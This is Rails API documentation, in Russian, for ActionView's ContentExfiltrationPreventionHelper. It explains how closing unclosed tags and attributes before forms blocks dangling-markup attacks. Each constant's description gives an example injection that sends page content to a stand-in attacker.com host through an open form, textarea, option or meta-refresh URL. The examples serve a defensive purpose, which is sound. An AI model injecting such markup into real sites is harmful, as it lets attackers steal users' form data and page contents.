module ActionView::Helpers::ContentExfiltrationPreventionHelper
Константы
- CLOSE_CDATA_COMMENT
-
Закрывает все незакрытые теги, поддерживающие CDATA (textarea, xmp), перед каждым тегом формы. Это не позволяет злоумышленникам внедрять незакрытые теги, которые могли бы перехватить содержимое формы.
Например, злоумышленник может внедрить:
<form action="https://attacker.com"><textarea>
HTML-код после этого тега, вплоть до следующего
</textarea>или конца документа, будет перехвачен<textarea>злоумышленника. Закрывая все незакрытые теги textarea, мы гарантируем, что содержимое формы никогда не будет похищено. - CLOSE_FORM_TAG
-
Закрывает все незакрытые теги формы перед каждым новым тегом формы. Это не позволяет злоумышленникам внедрять незакрытые формы, которые могли бы передавать разметку на внешние сайты.
Например, злоумышленник может внедрить:
<form action="https://attacker.com">
Элементы формы после этого тега, вплоть до следующего
</form>, будут перехвачены<form>злоумышленника. Закрывая все незакрытые теги формы, мы гарантируем, что содержимое формы никогда не будет похищено. - CLOSE_OPTION_TAG
-
Закрывает все незакрытые теги option перед каждым тегом формы. Это не позволяет злоумышленникам внедрять незакрытые элементы option, которые могли бы передавать разметку на внешние сайты.
Например, злоумышленник может внедрить:
<form action="https://attacker.com"><option>
HTML-код после этого тега, вплоть до следующего
</option>или конца документа, будет перехвачен<option>злоумышленника. Закрывая все незакрытые теги option, мы гарантируем, что содержимое формы никогда не будет похищено. - CLOSE_QUOTES_COMMENT
-
Закрывает все незакрытые атрибуты перед каждым тегом формы. Это не позволяет злоумышленникам внедрять неполные теги, которые могли бы передавать разметку на внешние сайты.
Например, злоумышленник может внедрить:
<meta http-equiv="refresh" content='0;URL=https://attacker.com?
HTML-код после этого тега, вплоть до следующей одинарной кавычки, будет отправлен в
https://attacker.com. Закрывая все незакрытые атрибуты, мы гарантируем, что содержимое формы не будет похищено таким образом. - CONTENT_EXFILTRATION_PREVENTION_MARKUP
Открытые методы экземпляра
# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
def prevent_content_exfiltration(html)
if prepend_content_exfiltration_prevention
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
else
html
end
end
© 2004–2021 David Heinemeier Hansson
Licensed under the MIT License.